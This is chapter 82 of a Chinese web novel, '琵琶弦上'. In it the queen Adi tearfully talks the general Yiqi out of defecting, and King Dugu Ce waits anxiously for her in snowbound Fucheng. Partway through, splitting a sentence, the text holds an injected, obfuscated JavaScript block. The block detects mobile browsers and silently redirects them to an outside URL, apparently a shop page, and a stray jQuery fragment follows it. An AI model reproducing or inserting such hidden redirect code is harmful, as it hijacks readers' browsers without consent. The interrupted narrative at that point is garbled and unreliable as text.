82. 八十二、风雪盼
作品:《琵琶弦上》 伊耆怔然,像是被烧焦的木头,只颓然垂着头,半晌也没有个反应。阿荻知道,他被说动了,此时更该再添一把火。
于是凄然道:“这些话我不该说,不然会让你觉得我像个说客,但是我与这孩子有缘分,不想看到他随着你去一条不归之路。那慕容泠是什么性子,我比你们都要了解……”
她说这句话时,声音低了些,带着一丝微不可查的哽咽:“弑父杀兄,虺心豺性,他连身边的人都容不得,如何能好生安置你们?想来不过诓骗了去,加以利用,再尽数拔出……将军糊涂!你怎能为了一时意气,将族人将弟弟的性命视为儿戏。”
伊耆张了张口,却找不到反驳的言辞。他承认,这次的叛逃的确是有意气在的,他甚至都没有想过,此次投了大晋会有什么样的前路……
慕容泠如何,不过是道听途说,但若他真是指使独孤宗绪的幕后之人,那便是毒辣至极的人物了。人命在这些人手中不过草芥,被利用然后被碾为齑粉,他们浑然不会在意。他贸然去投靠,只能落得合族尽灭的结果。
部族遭了那样的劫难,只剩下这些人了,他不能也不敢恣意妄为。
阿荻见伊耆态度松动,却没乘胜追击,反而不再说话。
半晌后,她缓缓抽出帕子,轻轻拭了拭眼角,见伊耆看过来,忙侧了头,不让他看到此时的脆弱与无助。
伊耆见她这样,心也如浸在凉意涔涔的水中,一点点往下溺,却无从使力,惶恐难言。
“殿下……”半晌,他开口唤了一声,声音轻柔,再不复往日的意气纵横。
阿荻终于转回头,眼睛红成一片,像是雨落过的桃花般。
“将军见笑,我不过是……”一句话没说完,泪又落了下来,她咬着下唇,勉强止住,嗓子却哑了许多,“他在前方生死未卜,我原说好要去见他一面才好安心,可如今……”
一句未完,泪落得更凶了。
这一次默啜都无措起来,怔怔然看着兄长,却也只从兄长那里看到了同样的慌乱,还有……心疼。
“是我不好,说了这么许多,将军也有苦衷,于情于理我都不该劝的。可……我真不知道该如何同他交代,他若是知道自己最信任的将领弃他而去,心里该有多难过。将军不知,大王在我面前说过多次,他看你便如看到当年的自己,若有机会他一定让你亲手灭仇敌,让你风风光光地封个大将军,这样才对束支部有个交代。”
说到这里,她又一次哽咽,依依走到伊耆面前,俯首便要行礼。
“将军,大王已经很艰难了,若是连你也要背弃他,他……该何以自处!我就当求你,不要听信谗言,选一条对你,对大王,对大王都伤害极大的路。这条路一走,你们便都回不了头了!”
伊耆早就一把扶住了她,她梨花带雨的容颜落在他的眼底,便像一把柔软的刀,将他寸寸凌迟,疼痛难忍。
“可我已经回不了头了,此时回去,也只有死路一条。”伊耆轻阖上眼眸,无奈叹息。
阿荻却说不会,语气笃定:“将军还有我,只要我说将军不是叛逃,而是听我有危险,专程来救,便没有人会质疑,大王亦不会!”
“这么多人马……”
贺兰看着默啜,慈爱的摸了摸他的额发,道:“默啜聪慧,你将人都交给他,由他带回左营去,对外只说大王调令便可。你亲自送我去见大王,见到他后,你只请罪,剩下的便交给我了。”
她言辞凿凿,神色认真,由不得伊耆不信。
“我无害你之心,你大可放心,其他人那里也无需担忧,皆为我心腹,他们不会多言。将军,你信我,你只要肯回头,依旧是大王最信任的将军,无人敢质疑你的忠诚。”
话说到这里,连默啜都明白了厉害,央求道:“阿兄,我们不要去洛阳,我们生在草原长在草原,不要离开这里好不好……大王不是不明理之人,他会明白你的苦衷的。”
“会明白么?”伊耆并不相信,一次不忠,百次不用,他自问自己都不会有这样的心胸,能够容纳背叛。
阿荻并不确定,但她知道,若是伊耆叛了,对于代国的实力和人心都是巨大的打击。她不能允许这样的事情发生,事到如今,唯有自己担着。她也不知道自己能不能担得起,算了,走一步看一步,毕竟代国安危干系到自己和孩子的安危,她不能对自己落井下石。
“将军信我,若不能保证将军安全,我以命相抵。”阿荻佩服自己,什么都敢乱说,但此时骑虎难下,只有努力让自己看上去更可信。
伊耆皱眉,心慌意乱到了极致。
“容我再思量些时候吧。”他绷着唇,说了这样一句,然后转头离开。
……
独孤策接到阿荻将来的消息已有多日,却迟迟等不到她,每日里派出接她的人徘徊在城门口,到了晚上也只有一次又一次的失望而归。
独孤策难免心焦,处事都急躁了许多。
“他还不肯降么?”独孤策问手下,在得到否定答案时,一时怒急攻心,手里的杯盏重重砸在几案上,呼吸起伏间,连头都牵着疼。
“大王息怒,那沈攸之就是块臭石头,何必与他计较。咱们已经拿下阜城,留他有何用处,杀了便是。”木咄觑着独孤策的脸色,进言道。
“杀了?”独孤策挑眉,目光从众人脸上掠过,在看出大家皆有此心后,失望的摇了摇头。
先生不在,便没人懂他的心了,真是无奈!
若真的轻易便杀了,他何须专门让人去抚远城请阿荻过来。这么做固然也有私心,但更多还是为大局考虑。
“杀了容易,但寒了人心,我们如何立足。”独孤策沉声解释,稍作调整,气已然平复了大半。他比谁都理智,雍州这个地方在安抚,不在征服,不然就凭他手里区区数千人马,哪里能讨得半分便宜。
慕容泠自负,一继位便舍了慕容桓那个老狐狸的诸多安排,尤其是雍州人事。他将亲信都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17321962|186734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放在身边,对洛阳严防死守,猛将则置于并州,提防自己南下。而雍州这边,则多是汉臣和降将,沈攸之不过一个寻常汉将,但如何对待他却关乎雍州人心向背。
阿荻出发了那么久,怎么迟迟不至。
冬雪落了一次又一次,穿过漫天剪水飞花,他不得不承认,自己想她想得厉害。
“再去城外长亭候着,若见到王后车马,随时回来告诉孤。”他对木咄吩咐道,“派些人马去沿途接应,如今雍州盗寇横行,莫要让他们惊扰了王后。”
木咄应了个是,不敢怠慢,匆匆而出。
还未出府,迎面却碰到了王蛟。木咄睨了他一眼,不屑地哼了一声。这人还真是厚颜,自从韩州城被攻破,他干脆太守也不做了,成日跟在大王身边,一路还追到了阜城。“大王可休息了?”王蛟堆着满脸笑意,凑到木咄身边道。
木咄看不惯他那副嘴脸,自然也没有什么好态度,冷声道:“大王还在忙,你莫要去打扰他。”
“哪里敢打扰,是有些事要与大王说呢,不过既然他忙,那小臣就先不去了。”王蛟弓着身子,匆匆退下。
“什么软脚虾,也配在大王面前卖好。”木咄看着他离开的身影,忍不住啐了一口,只觉晦气。
“步六孤将军这是怎么了,谁敢惹你生气?”身后一个声音朗朗笑道。
木咄回头,见是段央,脸色稍霁。
此次夺得阜城,段央是头功,他这人平日里闷声不哈的,没想到还有那样的心机谋略。进了一招反间计,直接就让韩文背着沈攸之献上城池。能兵不血刃进城,大王极为高兴,赐下随身宝剑,当场便封了一个护军将军给他。
木咄自然也心服口服,见了段央便尊敬更甚。
“不过是看不上那起子小人,谁知道他心里憋着什么坏呢,大王也不叱责。”木咄对段央抱怨。
段央仍带着浅笑,看着十分温和沉稳。下意识看了眼厅中,凑近些低声道:“小人要用,君子也要用,只不过各有各的用处罢了,大王最明白这些,你莫要让他为难。你想想,那韩文和王蛟,究竟谁更难缠些。”
木咄忖了忖,摸着胡茬道:“应当是韩文,王蛟贪财好色,哪里是那匹夫的对手。”
韩文阴狠,王蛟浅薄,独孤策那样精明的人,看一眼便知该怎么做。不过制衡之术,对付这些人也足够用了。
木咄伸出手指,比了个厉害,恭维道:“还是将军思虑周全,我日后远着他便是,不找他晦气了。”
段央便笑,随着他一道走出了院落。
雪又大了些,扯絮一般地纵横乱飞,直飞得眼前茫然一片,几乎看不清楚前路。木咄上马,看着积雪深堆的道路,心里涌过一些担忧。王后在这样的天气赶路,得受多少苦,大王想必也后悔了,这些天连饮食都清减了不少,一有空就望着远处发呆,快把自己站成望妻石了。
这样英明神武的大王,也只有在王后身边,才有些凡人的样子。

